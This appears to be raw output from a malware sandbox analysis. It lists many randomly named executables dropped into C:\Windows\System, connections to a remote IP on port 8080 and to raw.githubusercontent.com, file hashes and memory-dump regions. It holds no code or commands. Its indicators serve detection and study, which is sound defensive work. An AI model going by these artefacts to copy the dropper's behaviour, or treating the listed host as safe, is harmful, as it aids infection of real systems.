C:\Windows\System\bmYvbqm.exe

C:\Windows\System\bmYvbqm.exe

C:\Windows\System\WJJiXLr.exe

C:\Windows\System\WJJiXLr.exe

C:\Windows\System\NpurwCz.exe

C:\Windows\System\NpurwCz.exe

C:\Windows\System\RXBxPTN.exe

C:\Windows\System\RXBxPTN.exe

C:\Windows\System\PjVbJAr.exe

C:\Windows\System\PjVbJAr.exe

C:\Windows\System\sIcWAKw.exe

C:\Windows\System\sIcWAKw.exe

C:\Windows\System\xUppsUz.exe

C:\Windows\System\xUppsUz.exe

C:\Windows\System\fjFJkXB.exe

C:\Windows\System\fjFJkXB.exe

C:\Windows\System\QUfomTR.exe

C:\Windows\System\QUfomTR.exe

C:\Windows\System\ecuUGCa.exe

C:\Windows\System\ecuUGCa.exe

C:\Windows\System\laSpQVD.exe

C:\Windows\System\laSpQVD.exe

C:\Windows\System\PAZSTmk.exe

C:\Windows\System\PAZSTmk.exe

C:\Windows\System\lPbCupB.exe

C:\Windows\System\lPbCupB.exe

C:\Windows\System\dPyNJuC.exe

C:\Windows\System\dPyNJuC.exe

C:\Windows\System\KzOtjMG.exe

C:\Windows\System\KzOtjMG.exe

C:\Windows\System\nOvmpxu.exe

C:\Windows\System\nOvmpxu.exe

C:\Windows\System\wuWIoym.exe

C:\Windows\System\wuWIoym.exe

C:\Windows\System\GkkWixT.exe

C:\Windows\System\GkkWixT.exe

C:\Windows\System\kkOosMV.exe

C:\Windows\System\kkOosMV.exe

C:\Windows\System\gVEvUYD.exe

C:\Windows\System\gVEvUYD.exe

C:\Windows\System\xWvlRpN.exe

C:\Windows\System\xWvlRpN.exe

C:\Windows\System\qYURapB.exe

C:\Windows\System\qYURapB.exe

C:\Windows\System\tnPsSXM.exe

C:\Windows\System\tnPsSXM.exe

C:\Windows\System\SkQGuwO.exe

C:\Windows\System\SkQGuwO.exe

C:\Windows\System\RwTIach.exe

C:\Windows\System\RwTIach.exe

C:\Windows\System\yQSKmAT.exe

C:\Windows\System\yQSKmAT.exe

C:\Windows\System\vqFaxVc.exe

C:\Windows\System\vqFaxVc.exe

C:\Windows\System\qqFNZvd.exe

C:\Windows\System\qqFNZvd.exe

C:\Windows\System\rrhgORe.exe

C:\Windows\System\rrhgORe.exe

C:\Windows\System\ChIpubD.exe

C:\Windows\System\ChIpubD.exe

C:\Windows\System\fcEADwS.exe

C:\Windows\System\fcEADwS.exe

C:\Windows\System\kMsWsgh.exe

C:\Windows\System\kMsWsgh.exe

C:\Windows\System\PeDgyMX.exe

C:\Windows\System\PeDgyMX.exe

C:\Windows\System\XApqFnV.exe

C:\Windows\System\XApqFnV.exe

C:\Windows\System\YUwImWX.exe

C:\Windows\System\YUwImWX.exe

C:\Windows\System\gsfSuzR.exe

C:\Windows\System\gsfSuzR.exe

C:\Windows\System\cmtyoST.exe

C:\Windows\System\cmtyoST.exe

C:\Windows\System\nLPMtjk.exe

C:\Windows\System\nLPMtjk.exe

C:\Windows\System\VxTHfpm.exe

C:\Windows\System\VxTHfpm.exe

C:\Windows\System\VklVfgI.exe

C:\Windows\System\VklVfgI.exe

C:\Windows\System\PfGYCLP.exe

C:\Windows\System\PfGYCLP.exe

C:\Windows\System\fgHLeaQ.exe

C:\Windows\System\fgHLeaQ.exe

C:\Windows\System\fnmTbnl.exe

C:\Windows\System\fnmTbnl.exe

C:\Windows\System\ODlTcbq.exe

C:\Windows\System\ODlTcbq.exe

C:\Windows\System\CCSgdOV.exe

C:\Windows\System\CCSgdOV.exe

C:\Windows\System\Ykqmsai.exe

C:\Windows\System\Ykqmsai.exe

C:\Windows\System\jTLjgya.exe

C:\Windows\System\jTLjgya.exe

C:\Windows\System\zKRtfQM.exe

C:\Windows\System\zKRtfQM.exe

C:\Windows\System\ScDXWWd.exe

C:\Windows\System\ScDXWWd.exe

C:\Windows\System\AFixPDk.exe

C:\Windows\System\AFixPDk.exe

C:\Windows\System\oaYQnZg.exe

C:\Windows\System\oaYQnZg.exe

C:\Windows\System\SIptzBC.exe

C:\Windows\System\SIptzBC.exe

C:\Windows\System\fgViZni.exe

C:\Windows\System\fgViZni.exe

C:\Windows\System\mpklFJR.exe

C:\Windows\System\mpklFJR.exe

C:\Windows\System\fHBSkTO.exe

C:\Windows\System\fHBSkTO.exe

C:\Windows\System\djrdzrH.exe

C:\Windows\System\djrdzrH.exe

C:\Windows\System\YQpWPOa.exe

C:\Windows\System\YQpWPOa.exe

C:\Windows\System\wEnukYc.exe

C:\Windows\System\wEnukYc.exe

C:\Windows\System\zZzhGGW.exe

C:\Windows\System\zZzhGGW.exe

C:\Windows\System\EBNRaXF.exe

C:\Windows\System\EBNRaXF.exe

C:\Windows\System\IWBZeMT.exe

C:\Windows\System\IWBZeMT.exe

C:\Windows\System\ciXttSS.exe

C:\Windows\System\ciXttSS.exe

C:\Windows\System\tjQnSpI.exe

C:\Windows\System\tjQnSpI.exe

C:\Windows\System\aNKUdYz.exe

C:\Windows\System\aNKUdYz.exe

C:\Windows\System\pmZbOiD.exe

C:\Windows\System\pmZbOiD.exe

C:\Windows\System\PLLGxFV.exe

C:\Windows\System\PLLGxFV.exe

C:\Windows\System\djMBPkG.exe

C:\Windows\System\djMBPkG.exe

C:\Windows\System\hcXcVZF.exe

C:\Windows\System\hcXcVZF.exe

C:\Windows\System\teZztPB.exe

C:\Windows\System\teZztPB.exe

C:\Windows\System\JgdXPzV.exe

C:\Windows\System\JgdXPzV.exe

C:\Windows\System\SBVKJFx.exe

C:\Windows\System\SBVKJFx.exe

C:\Windows\System\ojCbisy.exe

C:\Windows\System\ojCbisy.exe

C:\Windows\System\LcrCrLd.exe

C:\Windows\System\LcrCrLd.exe

C:\Windows\System\XZhePTN.exe

C:\Windows\System\XZhePTN.exe

C:\Windows\System\MtRFrMs.exe

C:\Windows\System\MtRFrMs.exe

C:\Windows\System\VvuVsCE.exe

C:\Windows\System\VvuVsCE.exe

C:\Windows\System\KGmKOZF.exe

C:\Windows\System\KGmKOZF.exe

C:\Windows\System\mdYqtiE.exe

C:\Windows\System\mdYqtiE.exe

C:\Windows\System\OrKsFbf.exe

C:\Windows\System\OrKsFbf.exe

C:\Windows\System\WjnlGMB.exe

C:\Windows\System\WjnlGMB.exe

C:\Windows\System\MgNCYgo.exe

C:\Windows\System\MgNCYgo.exe

C:\Windows\System\acepPpI.exe

C:\Windows\System\acepPpI.exe

C:\Windows\System\mIFbjtl.exe

C:\Windows\System\mIFbjtl.exe

C:\Windows\System\ZHeqVyw.exe

C:\Windows\System\ZHeqVyw.exe

C:\Windows\System\KVyldVk.exe

C:\Windows\System\KVyldVk.exe

C:\Windows\System\tmMAXWw.exe

C:\Windows\System\tmMAXWw.exe

C:\Windows\System\ngBAmsm.exe

C:\Windows\System\ngBAmsm.exe

C:\Windows\System\GNtZmzR.exe

C:\Windows\System\GNtZmzR.exe

C:\Windows\System\WhUWXRB.exe

C:\Windows\System\WhUWXRB.exe

C:\Windows\System\XzONSQx.exe

C:\Windows\System\XzONSQx.exe

C:\Windows\System\mMMQSDv.exe

C:\Windows\System\mMMQSDv.exe

C:\Windows\System\YKzLMTQ.exe

C:\Windows\System\YKzLMTQ.exe

C:\Windows\System\dlqjJdC.exe

C:\Windows\System\dlqjJdC.exe

C:\Windows\System\KTfUYXo.exe

C:\Windows\System\KTfUYXo.exe

C:\Windows\System\nEjOGYM.exe

C:\Windows\System\nEjOGYM.exe

C:\Windows\System\iGKhakt.exe

C:\Windows\System\iGKhakt.exe

C:\Windows\System\DwqcEeQ.exe

C:\Windows\System\DwqcEeQ.exe

C:\Windows\System\lHJtaPb.exe

C:\Windows\System\lHJtaPb.exe

C:\Windows\System\ugIOrEW.exe

C:\Windows\System\ugIOrEW.exe

C:\Windows\System\AdNmxpH.exe

C:\Windows\System\AdNmxpH.exe

C:\Windows\System\yPBcrNl.exe

C:\Windows\System\yPBcrNl.exe

C:\Windows\System\MDxrKhH.exe

C:\Windows\System\MDxrKhH.exe

C:\Windows\System\uDQjxXC.exe

C:\Windows\System\uDQjxXC.exe

C:\Windows\System\XMUjLbw.exe

C:\Windows\System\XMUjLbw.exe

C:\Windows\System\qTLYxQh.exe

C:\Windows\System\qTLYxQh.exe

C:\Windows\System\frCdGaf.exe

C:\Windows\System\frCdGaf.exe

C:\Windows\System\jdSlcQT.exe

C:\Windows\System\jdSlcQT.exe

C:\Windows\System\KJpawqC.exe

C:\Windows\System\KJpawqC.exe

C:\Windows\System\UqeTnoD.exe

C:\Windows\System\UqeTnoD.exe

C:\Windows\System\ywuXXcA.exe

C:\Windows\System\ywuXXcA.exe

C:\Windows\System\XKroiBo.exe

C:\Windows\System\XKroiBo.exe

C:\Windows\System\BSQmAHv.exe

C:\Windows\System\BSQmAHv.exe

C:\Windows\System\AAMQVTj.exe

C:\Windows\System\AAMQVTj.exe

C:\Windows\System\tBCIahY.exe

C:\Windows\System\tBCIahY.exe

C:\Windows\System\YkaXlxc.exe

C:\Windows\System\YkaXlxc.exe

C:\Windows\System\gqYqSEU.exe

C:\Windows\System\gqYqSEU.exe

C:\Windows\System\zyAvdHW.exe

C:\Windows\System\zyAvdHW.exe

C:\Windows\System\psYGnrq.exe

C:\Windows\System\psYGnrq.exe

C:\Windows\System\xlMhCmG.exe

C:\Windows\System\xlMhCmG.exe

C:\Windows\System\GNaYhoB.exe

C:\Windows\System\GNaYhoB.exe

C:\Windows\System\MhXKRgD.exe

C:\Windows\System\MhXKRgD.exe

C:\Windows\System\YJfqwXm.exe

C:\Windows\System\YJfqwXm.exe

C:\Windows\System\JiKCsOW.exe

C:\Windows\System\JiKCsOW.exe

C:\Windows\System\weZXIrg.exe

C:\Windows\System\weZXIrg.exe

C:\Windows\System\XtQDLFV.exe

C:\Windows\System\XtQDLFV.exe

C:\Windows\System\quAgvdS.exe

C:\Windows\System\quAgvdS.exe

C:\Windows\System\XinXhlb.exe

C:\Windows\System\XinXhlb.exe

C:\Windows\System\XWUZXcj.exe

C:\Windows\System\XWUZXcj.exe

C:\Windows\System\HtOwMLT.exe

C:\Windows\System\HtOwMLT.exe

C:\Windows\System\hXJHgqB.exe

C:\Windows\System\hXJHgqB.exe

C:\Windows\System\NBGbXgh.exe

C:\Windows\System\NBGbXgh.exe

C:\Windows\System\yBxuFMh.exe

C:\Windows\System\yBxuFMh.exe

C:\Windows\System\SVpdIuw.exe

C:\Windows\System\SVpdIuw.exe

C:\Windows\System\WMrwFxq.exe

C:\Windows\System\WMrwFxq.exe

C:\Windows\System\eaFCYan.exe

C:\Windows\System\eaFCYan.exe

Network

Country Destination Domain Proto
DE 3.120.98.217:8080 tcp
US 8.8.8.8:53 raw.githubusercontent.com udp
DE 3.120.98.217:8080 tcp
US 52.111.229.43:443 tcp

Files

memory/3016-0-0x00007FF66B3A0000-0x00007FF66B796000-memory.dmp

memory/3016-1-0x0000018F09B40000-0x0000018F09B50000-memory.dmp

C:\Windows\System\rLYrtZf.exe

MD5 66178fd409f6431b9a3271a0049ab491
SHA1 b255d9bc4366f814efeaa526f6a1823c985779d1
SHA256 e14d685d6070a44ee833e352116ad57c10b0b086aa7771742088c8f2b5335e0d
SHA512 436b3b94c651843a33a015031be75d0e2526c7599b5244f04bd23b7fcec089b14654073ca5d2ec84795b9ce073fa85457ef5b9e0b71b0fd1f3fc0799cf5af091

C:\Windows\System\febdIPx.exe

MD5 e1492af4eef3590f91a57534389a5b8c
SHA1 cd9262c02afc4a4c2e056a8ce5486ecb192d1056
SHA256 670c4ca0671033cbc4999b83e4e72496d868ca9fd02efbafdd00b98ca0f40afb
SHA512 93a3aee5182ff666935595bd43af051f1634d0980ea7fe7bde2491e3f5db283aab5d79f72acfe834f0731ab516a4f33096106ce9b306d853f2de6e84c2aef2d3

C:\Windows\System\IxUJQwd.exe

MD5 ede2d4ce5d37efd43d0c1477130c0681
SHA1 767a7f528b26660861ca810dede331baefd4c1e7
SHA256 ec31ac312130f6f2dc8e73c9d9d589ae157cadebc5ef3d874d9dfbbea7741319
SHA512 14d0da5d5eed1a6a9b720e153984c34ca6af34e2de569ca7f2e0b5c3e4b7210d4604eb1d7a2c6a977e48739e84f4e717672397a1195e80282d07dcd7c76c5270

memory/2796-28-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

C:\Windows\System\cwhKjMU.exe

MD5 9b511c8fc2befc56997b63969b9d7f76
SHA1 5c17a2fcfaab9b513ae624518b8394a2b72902ab
SHA256 358d0f2d277608331808dc131b65cc43b0769e2d31f02c325f01cdc2c3300354
SHA512 0ad67a090c938d56ad7a81e42a5f9bc7b84765cffdb90091d11f0905286f664dab38d11b37becabd0e28dcdc539337605a17d149ee63d0c2c015f2920be41205

C:\Windows\System\AETFBhF.exe

MD5 ba96729079ace1865a368a2a2f5b6b22
SHA1 2cc133362a1063477ee2349b9469e92aeece456c
SHA256 8dc03b8dd360dfcaf51908abcbfd9e1a509f7c1769623c0e5629740a51d8038c
SHA512 8985b8645e217bea8c04e396e9d7d2bfb3abd1c89fd3e98e36ae33b307d6064f7f0ba016c4f3e1926f658a1a3c1b3e762ec21bd63fa63fd9eb55e367d166facb

C:\Windows\System\hLykVbo.exe

MD5 4ae32643f89ca9112036c9cfe618b1ae
SHA1 b4118531bb2c317f85bb980fe066de15448f3345
SHA256 8f506209ebcd299836e90895dd5ef40b753c8e0ddb0d0eec24a7a587a3abb21a
SHA512 4529c2d06fd1ab98101ebc8d1bfef21fc5cc78be832cf2677d9cd0fa7ca5793cfe38affbda0369eb63670dd1d609a53bba96cac282f52e9d61ba103ae9ee479a

C:\Windows\System\Dhngzdt.exe

MD5 76c17f69268bf0e3e2d711e8dc891dbb
SHA1 6be03401738ff74bc4bf695232f1a81639c5c198
SHA256 c2f57f4a0e726e667ee3a4e223013e1abf5072b0a8700723b154b4dee9b5a95d
SHA512 00f0af6802beb1d3fab75c27e41daafb63f38ce8887bea53e42ffe81e766cdd881b6c318a3cc59627eeeaadb589e509620d368e4a1d5f7fb064ce6378a91a32e

C:\Windows\System\CXOWXdt.exe

MD5 9f631a860b9645b26a067b10a7605dd2
SHA1 805ffef938349d73e63487c9ec1479560552ed17
SHA256 15db4a6ec13f74daa63bc510f22f38a01dfa5514c2bddfd7149e16ddfc4fdaab
SHA512 0931739afe85256264e6d7c7b254fae6aaa29800ffa6e6d8578c695e3cf1389536ed2b97ea0cf178f039a0f18f2d81c435a1e734037071bd7c91d744a144747e

C:\Windows\System\FAXxrlL.exe

MD5 55414fadb092de713d1caeda12c9dc01
SHA1 6264b8f48eabd0eee45c686c650cb3104ae5d102
SHA256 fada7c9139dbd460d5cc83e637790c4364334cc3e6179c0cd5fd53d4d18d0942
SHA512 433db5dd6eb8591aeb7faa35e816b54ee9083fb924ceb3c1d3d27b55be283df8462cc20c19b2ed2f097f8875d16afc2634e0d7f980c5757249c55a7a7abd968f

memory/3740-125-0x00007FF7D2EF0000-0x00007FF7D32E6000-memory.dmp

memory/2312-127-0x00007FF65A1A0000-0x00007FF65A596000-memory.dmp

memory/4204-131-0x00007FF7D65C0000-0x00007FF7D69B6000-memory.dmp

memory/3780-134-0x00007FF715A60000-0x00007FF715E56000-memory.dmp

memory/4816-135-0x00007FF7A3570000-0x00007FF7A3966000-memory.dmp

memory/1872-133-0x00007FF720AA0000-0x00007FF720E96000-memory.dmp

memory/4956-132-0x00007FF65FAC0000-0x00007FF65FEB6000-memory.dmp

memory/3388-130-0x00007FF641220000-0x00007FF641616000-memory.dmp

memory/3612-129-0x00007FF69BB50000-0x00007FF69BF46000-memory.dmp

memory/2936-128-0x00007FF66B7D0000-0x00007FF66BBC6000-memory.dmp

memory/4008-126-0x00007FF7879C0000-0x00007FF787DB6000-memory.dmp

memory/2096-124-0x00007FF61BB40000-0x00007FF61BF36000-memory.dmp

memory/2760-123-0x00007FF78FE80000-0x00007FF790276000-memory.dmp

C:\Windows\System\hTZOsZX.exe

MD5 06d50dafa91b39d477d6bcd5db162f4e
SHA1 d8bed368caa2e597e76246417b5b5a71759372db
SHA256 a32c79ea15a529d4911c20b7a5667305731ac335d0b77bc01f7e1b7a2569ba84
SHA512 6787df0c059f4ccaee1e26bfdec7c16fa937ad659172e2770c2ff6a2fb412310331b43fb35ff8980f5e55f09af8f35ba63d550416bc784a9dc9f86d076cf4978

memory/3892-118-0x00007FF703090000-0x00007FF703486000-memory.dmp

C:\Windows\System\oUwMktv.exe

MD5 7219a31effb1cfc3846b44c8d3ce7b44
SHA1 e89a070020885cdde58db65f5d146284373c6ac5
SHA256 1799dc901414d0ec2cc2e1f41418f8e7fd6a39c4490c6a6045b260bc78625c1a
SHA512 bce71268c5968fcc33994905906f9d967515696912e45a7ad04893c1550d7835aa6630d4e8255a8075e17ba4670617f44e95828596d8cc74bcb99398d2175dad

C:\Windows\System\WilIFzx.exe

MD5 effe287b4019efd82a2257a573113c7d
SHA1 3c9f357b98f85b068172d1eb90023074dd81f262
SHA256 3e6dc92b2e0b46684eb963eb4e7168ab1d049b5947c43812e3f60e1e33382990
SHA512 5326a1fb514b9b00e66c869c355217b659c4ad1b241ef289928aca4ec91a93f85f0ac8d7359af8537a5ddd4fcc6cdd8489779da75144f212f686b550f51dc35e

C:\Windows\System\ogWuxHV.exe

MD5 f21fd2b61669c18a8c20accd01baedc9
SHA1 ce7836f010a574befa9aa6fd0115ccfc9ec05769
SHA256 a8170662826313e93e660e960f93d7d272f90988ff754888ea7e5cb8ae3f481b
SHA512 19698ab1f1f6ac62da6823474fe48c92c88538536f74d6ecb045f62b7e385e3935350841026a62161db0c5cca52b0b7dd53590d46333d4779932844b5c6971fe

C:\Windows\System\QkmkEXA.exe

MD5 3323b235aadf3b1adeaab48a4d9d75d8
SHA1 2757fcce9a14db14ece7277001a53626e53b84c9
SHA256 6ea7ec7c477405d7c2bd17d8d4b380866afb7fae4baaab6fc219ac30efb66f9c
SHA512 b73c42c0d3b49fefae7813f1cd9d8ea1d838fc95650469fdb7ff0e4bf682d2ea4377af76aafe3ad3c34044120d060481e4d0ae1116926c8dd009e1ba02e09ec8

memory/3540-109-0x00007FF6768D0000-0x00007FF676CC6000-memory.dmp

memory/4092-99-0x00007FF7542F0000-0x00007FF7546E6000-memory.dmp

C:\Windows\System\egVsrkU.exe

MD5 39ad2240bd0bd8e544b659705823dda6
SHA1 2d38ce826cf0114d048152071e3ca1ee97d601c4
SHA256 fd999c7b7e2bc1c036797a828c60a00ec46272764c21313ebcf3f0700824c08b
SHA512 09001eb085b623ec8c7c8ddd87ddf07fa8882e1dc3d94b75813cd59a2e41ac2a1ce877cb4966c660f6ed842d8e1cd8f84736aa60fbea0e983565028b855190f4

C:\Windows\System\xiCNElB.exe

MD5 7abfeb867bba243ed2cfb9ee6a1a73f6
SHA1 96512849a131bdb59546fefb40cef2a975cbb7e6
SHA256 7c6a929885bebb61567f315f2b65ad406483f3881a66152e5f0ef5dc7e5fd9f3
SHA512 7ec33e2fd8533481c3f0611db15d90657ce15f9041f9e41a85553bac33bfbef636f6614c412e9a27ef4aba99c238fa308ce4dff5b16d36f845dc35836b358953

C:\Windows\System\nTwYfXv.exe

MD5 03ad1b2affcd70abd3ab1d7b14f29d05
SHA1 b96b71e6e27ca971f1c955419e9abcbb6a72dea6
SHA256 6e159f06633ad93741aa9a97c67335c725a242c64e971ec59606c12da83b48d9
SHA512 d84715147ef5f314db361baeb0a649198b25d302544cc4181ed7b9b0625c39cf8350a02021975ab589e21f972a44bac8c05e0fbbabe179db4849af3ccb4742df

memory/4728-80-0x00007FF7EC2B0000-0x00007FF7EC6A6000-memory.dmp

memory/4160-69-0x00007FF644E60000-0x00007FF645256000-memory.dmp

memory/2796-65-0x000001D9FDF40000-0x000001D9FDF62000-memory.dmp

memory/4616-63-0x00007FF79DC10000-0x00007FF79E006000-memory.dmp

C:\Windows\System\HHHiLfI.exe

MD5 cd43a173dfbf8e218bc3387264c057be
SHA1 15162ffe24cab2cab337b500eea9f62a8a5601c3
SHA256 b93b72b1ed6901e6572319a3769cd47c1baf7123e8a3454b00e40fdacc868051
SHA512 afd3fee83694230dff116cbda1857aaf0e96238fe112d1bf10e1c98606989b1a71e906d7b25926d54e34f99940fa7c4282b420e4a1d120fdcef41d44f1225c86

memory/900-41-0x00007FF7AEA00000-0x00007FF7AEDF6000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ybjj1v1x.auj.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/2796-38-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

C:\Windows\System\YgOTPhI.exe

MD5 79040ad107641606c1d523a6aa4c4bac
SHA1 2f3f1adc769f27eda9cd0a03aa2a477709aa51cc
SHA256 874f0b35294bb1429de6e60fdf57ee0a1784e355df3fc3e47cc4f115979f97b5
SHA512 ea2be84d57dd7a60362049764e51b25217086b326ea2e8e33558f5bb40a13248f7e6736217ad0bc15404e112d7c7430c14d2e0533639949ccb14feb812a7cc73

C:\Windows\System\pTItlOJ.exe

MD5 13dd0da706241df8f187f69ff1e73037
SHA1 3816204d98a9aa73389bed9b2a31e3cd79de983e
SHA256 a3f02a0b1393e88193b81c8c2a282eb30004ea93307ba29027f44360530277c4
SHA512 4254e1aa98f2e7ef287d87c429c6fea066a1decc21c32beca176d949d0e9c8431797e0ce9d973daece328ab9850c8fd4fa65f3fc8ae880bfb850e34684ac4d5d

memory/2796-5-0x00007FF980EF3000-0x00007FF980EF5000-memory.dmp

C:\Windows\System\OcfgBdM.exe

MD5 b98b8cbd036edd548a4c76bfc52b5274
SHA1 99992180c45d3391c809c2d807346a06781424b7
SHA256 71f616463ed6a39e0863d3c1461bc7973ce5a020563e91ace2cd815106af9890
SHA512 251a6442b3ac3a690d0347003f7794eca158f20d77bdd0d7a903ef8ab6ee7ce00c974867f83a0ff77b7e91f04854f09999cd8df5c716519ed82fba6a57831e52

C:\Windows\System\PUFypHa.exe

MD5 a380d6e8ae6ba20618ef9a3d3875356c
SHA1 58101a4ace46ad01af81e70690f27f1363a23c9c
SHA256 0c7f1aaaa44c0db196e84f79b17bc41c8ee4fedc2efda076ec0964556fd3ea1b
SHA512 5722edca2f92f490e5ee3aa728a8d42cf6a38bc3a97e5713574223fad5c50bf5bf66c92bf93ed8bdc22ff1b7b933a4e499f9323fad5abd6c3383b887e55b93a7

C:\Windows\System\jfBgTzM.exe

MD5 25645794e8105d8f5881fc28ea58e35f
SHA1 5ad6596a74ad60482fc1864646c3fc38dc4d7a1e
SHA256 07e7a4089a094619a227716845e846752dfa60aa1b513576f71f88a6ebdfa30c
SHA512 47e2ecbdd66dc927dd7f69bd0867337de98c204b4590d8d52aa1b31fbfbd33ef39256cb61d4b45b702fd49225d67e2e01dc437a4402c4e5f4e217d05bb02e8cd

C:\Windows\System\HBhniqW.exe

MD5 321f9304c8232daad126da345764bb8c
SHA1 177358dc77d3c13f7fdcd2b9ada150143488adf6
SHA256 85db4109436a7bf6b0d79324bc48f63037d9b23dba64461eb12f19e95e1c49a0
SHA512 688be631e2a0fd13943f60876c486bf5d8b2cfdfede8400e91414ece41a60828ba38900c5cb185d05992ee297cbedda4d579eefe7f171e3e3bef06798f261a5d

C:\Windows\System\anVKEym.exe

MD5 9545cf57b7c77991e297a00ad38243a1
SHA1 b9ce250d8702bf394069f0876333ced0b4c8421b
SHA256 08e3e0d1dcafcd3bde4250b8264b341567d7e300e1a9f8127e5b5b48d0f34c2c
SHA512 bd316ee60c2652ad96cfc5d60aec4a15db1289368cd99389279c226109d64e84b2c47f8eadf30d9fe4f13e3ecb90629b07e33fddb578a33b97e16742b2dcde09

C:\Windows\System\xKsVEdw.exe

MD5 4867ff5f92afe0a29bc5931f856e717f
SHA1 2d42de718df875b8be60b88b020630355369b0e4
SHA256 83cbfc98fa71facdc139f117e1338238246cb2b8964e1d2ca5b5d8170503991d
SHA512 50fff79e2ab78b071602a4631519ea93029c8475e7f0ff9667b747719ef1503eb38dd3c30dbfedaeac8e8437273eafa7828a5e152717c7d0de4584e739459093

C:\Windows\System\ySxSEVI.exe

MD5 23f0e348ec16d119074a1247788e3bf8
SHA1 38dd22d60d543bcd2400faca787286b5f660d4ef
SHA256 5c0844cd47c7ea878bc7f96395f073a4e7fcd4788384b80d86881c217c066ac3
SHA512 25df8f4471eec6cb2704dc6fe6f6bdc844653e7d5bdbf86e099f78a73aaf37cadf219b61dccba77449d4f79c91837a52dfd31b1622148b45956a546528ee1df7

C:\Windows\System\CIRFHoM.exe

MD5 018af1a13556ccbb07a1e6277c66b121
SHA1 d57730e3f26cf773aee5fa1126f6c298f8e0e82a
SHA256 cce75ade3122345a7eba79e2c2558c633febe39bcb2ba52137d9edb12375275e
SHA512 9d3869b7a217e86e1b1681d33938fbb21d3cc751fedcbefbe0f1476812530edfe04051616290365e7c7dca70f0933412d8dadc8dd9546a5771118a35776efc83

C:\Windows\System\fQUbAzi.exe

MD5 b5e8d5a5d053c169ae397f64996e309b
SHA1 5ae9ef78b2c0307cdd3eff105d440cfc9031544e
SHA256 48eb507732951615b3807edd6c9ac2041208f99f3f3160da9629608d33d21871
SHA512 6b6f186e723c2bf7f9c404bd19f38cf11cbba47729abb86b07ff513a62b084994c1e3341385b5a293529443db4ab2f3b036041229a8148012ddd09fc210b5d1b

memory/4884-168-0x00007FF655100000-0x00007FF6554F6000-memory.dmp

C:\Windows\System\IlaPCVr.exe

MD5 3da85b732ce09d78463ad7715dd3f3c6
SHA1 8a8f5efbbcbfa7fd2cb5a12300b316a4f59a136f
SHA256 df132ee32bf89564b14e369564aee7ffa38a1be36ea630fbc5f1ca6f511e7707
SHA512 2c68e4ea7d91b3bcf41f49464106711bfd7d7a3bbc80e9414e4d4d146fd741c6ab35ae704b11e665e600bb195ffc6c3f5107406190baab05259e91f09322f9f3

memory/1936-157-0x00007FF613710000-0x00007FF613B06000-memory.dmp

memory/668-152-0x00007FF6DE100000-0x00007FF6DE4F6000-memory.dmp

memory/3000-146-0x00007FF7BD1F0000-0x00007FF7BD5E6000-memory.dmp

C:\Windows\System\aaUMkeL.exe

MD5 56c02e7a4e30f1351b75a5997edf6bc3
SHA1 0a2bf702f4c01a1220dff79185b0afd5e638d54c
SHA256 f089ddb61c6f3963e35c19714b987e616b012416941aeef50595f1381595c9cd
SHA512 c36163cff0c5f2d6c14f5e27a1d283b595fa4e4db3b97e10efbfc591414deddd91214d8c90e5b51d846f4349a054424673d01e1052506eda96792f90b79e6450

C:\Windows\System\yZbqFXG.exe

MD5 6047ba210ea270249777fef107fe710e
SHA1 b53f157e1eadee982516d56a609215f753faf0a2
SHA256 7e2f9280e03a705c81ad2a54c7e355500becb0d87e90d82a38ace1921ac0fa38
SHA512 b93b37eb6d52a9bfc27a1b8a2972d7f739fa040df9b6fe5ab68a9fa951970cc473d668c5956625324ec5906a11a1becd19c1b9237b5d0bb654807ddd7e9b9e88

C:\Windows\System\LKnwlis.exe

MD5 e83cd5afe93a04a36cf7701ccc8f5f44
SHA1 a5b7a43388f97795684981b7f73b9846cbe8737c
SHA256 179ecb3510f2132d5507a9ca1d2c76ddfad02127577d355c7cefc63d3e7487b2
SHA512 e8ab775e4d40f74915cec1f62a54dc0e94a495d0604f986499068fe1f515b2d787d5e6200caa04740cad20ac94afa6fa47dbcc375e14edc880c09fed4cd1b732

memory/2796-1050-0x00007FF980EF0000-0x00007FF9819B1000-memory.dmp

memory/3016-1262-0x00007FF66B3A0000-0x00007FF66B796000-memory.dmp

C:\Windows\System\bYZvRIX.exe

MD5 67d893d1a2095d39d451d08ee1cc05e9
SHA1 dad7ef4487e41ff3c3e600250e691ed16832dc94
SHA256 cc871666e89dd430f5e3dc9cc361cd1a4ecf7214b4b8daeb86cca2257079f3ce
SHA512 7799e4db272ac6c136cb55f2e50c1582a5027767dc6d148dbf159fdb6f776a047cf2ac573fbb2f2ca5a994173cf0465c93ef3f6e6c86e8981136e854def9801d

memory/1936-2208-0x00007FF613710000-0x00007FF613B06000-memory.dmp

memory/4884-2569-0x00007FF655100000-0x00007FF6554F6000-memory.dmp

memory/900-2570-0x00007FF7AEA00000-0x00007FF7AEDF6000-memory.dmp

memory/3612-2571-0x00007FF69BB50000-0x00007FF69BF46000-memory.dmp

memory/4160-2572-0x00007FF644E60000-0x00007FF645256000-memory.dmp

memory/4728-2575-0x00007FF7EC2B0000-0x00007FF7EC6A6000-memory.dmp

memory/4616-2574-0x00007FF79DC10000-0x00007FF79E006000-memory.dmp

memory/4092-2573-0x00007FF7542F0000-0x00007FF7546E6000-memory.dmp

memory/2936-2584-0x00007FF66B7D0000-0x00007FF66BBC6000-memory.dmp

memory/4816-2589-0x00007FF7A3570000-0x00007FF7A3966000-memory.dmp

memory/3740-2588-0x00007FF7D2EF0000-0x00007FF7D32E6000-memory.dmp

memory/2312-2587-0x00007FF65A1A0000-0x00007FF65A596000-memory.dmp

memory/4008-2586-0x00007FF7879C0000-0x00007FF787DB6000-memory.dmp

memory/2096-2585-0x00007FF61BB40000-0x00007FF61BF36000-memory.dmp

memory/3892-2583-0x00007FF703090000-0x00007FF703486000-memory.dmp

memory/3780-2582-0x00007FF715A60000-0x00007FF715E56000-memory.dmp

memory/3540-2581-0x00007FF6768D0000-0x00007FF676CC6000-memory.dmp

memory/1872-2580-0x00007FF720AA0000-0x00007FF720E96000-memory.dmp

memory/2760-2579-0x00007FF78FE80000-0x00007FF790276000-memory.dmp

memory/4204-2578-0x00007FF7D65C0000-0x00007FF7D69B6000-memory.dmp

